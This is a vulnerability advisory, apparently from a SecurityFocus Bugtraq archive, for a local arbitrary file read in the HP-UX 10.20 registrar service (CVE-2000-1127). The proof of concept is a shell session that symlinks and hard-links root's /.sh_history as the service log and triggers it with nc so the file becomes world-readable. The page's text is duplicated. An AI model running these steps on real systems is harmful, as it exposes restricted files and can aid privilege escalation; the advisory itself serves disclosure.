HP-UX registrar Local Arbitrary File Read Vulnerability
BID:1919
CVE-2000-1127 |Info
HP-UX registrar Local Arbitrary File Read Vulnerability
| Bugtraq ID: | 1919 |
| Class: | Origin Validation Error |
| CVE: |
CVE-2000-1127 |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 08 2000 12:00AM |
| Updated: | Jul 11 2009 03:56AM |
| Credit: | First posted to Bugtraq by J.A. Gutierrez <[email protected]> on Nov 8, 2000. |
| Vulnerable: |
HP HP-UX 10.20 |
| Not Vulnerable: | |
Discussion
HP-UX registrar Local Arbitrary File Read Vulnerability
The registrar service that ships with version 10.20 (possibly others) of HP's HP-UX operating system contains a vulnerability that may allow a local user to read any file on the hosts filesystem. The service (which listens on tcp port 1712) writes to a log file, /etc/opt/resmon/log/registrar.log.
Default permissions on the /etc/opt/resmon/log directory allow users to overwrite the log file within it via "mv", which is normally created and written to by root when connections are made to the service.
After mv'ing an existing log file to another location, a malicious user can create a symbolic link to an arbitrary file they do not have read access to with the filename registrar.log in etc/opt/resmon/log. If any connections are made to the registrar service after this, the mode of the file pointed to will change to 0644 (world readable) and log data will be appended to it.
In addition to disclosing to the user restricted information, this may lead to an elevation of privileges for the local attacker.
The registrar service that ships with version 10.20 (possibly others) of HP's HP-UX operating system contains a vulnerability that may allow a local user to read any file on the hosts filesystem. The service (which listens on tcp port 1712) writes to a log file, /etc/opt/resmon/log/registrar.log.
Default permissions on the /etc/opt/resmon/log directory allow users to overwrite the log file within it via "mv", which is normally created and written to by root when connections are made to the service.
After mv'ing an existing log file to another location, a malicious user can create a symbolic link to an arbitrary file they do not have read access to with the filename registrar.log in etc/opt/resmon/log. If any connections are made to the registrar service after this, the mode of the file pointed to will change to 0644 (world readable) and log data will be appended to it.
In addition to disclosing to the user restricted information, this may lead to an elevation of privileges for the local attacker.
Exploit / POC
HP-UX registrar Local Arbitrary File Read Vulnerability
$ uname -sr
HP-UX B.10.20
$ cd /etc/opt/resmon/log
$ mv registrar.log registrar.log.orig
$ ls -l /.sh_history
-rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
$ ln /.sh_history registrar.log
$ nc hpux.example.com 1712 < /etc/motd
$ ls -l /.sh_history
-rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
$ rm -f registrar.log
$ mv registrar.log.orig registrar.log
$ uname -sr
HP-UX B.10.20
$ cd /etc/opt/resmon/log
$ mv registrar.log registrar.log.orig
$ ls -l /.sh_history
-rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
$ ln /.sh_history registrar.log
$ nc hpux.example.com 1712 < /etc/motd
$ ls -l /.sh_history
-rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
$ rm -f registrar.log
$ mv registrar.log.orig registrar.log
Solution / Fix
HP-UX registrar Local Arbitrary File Read Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]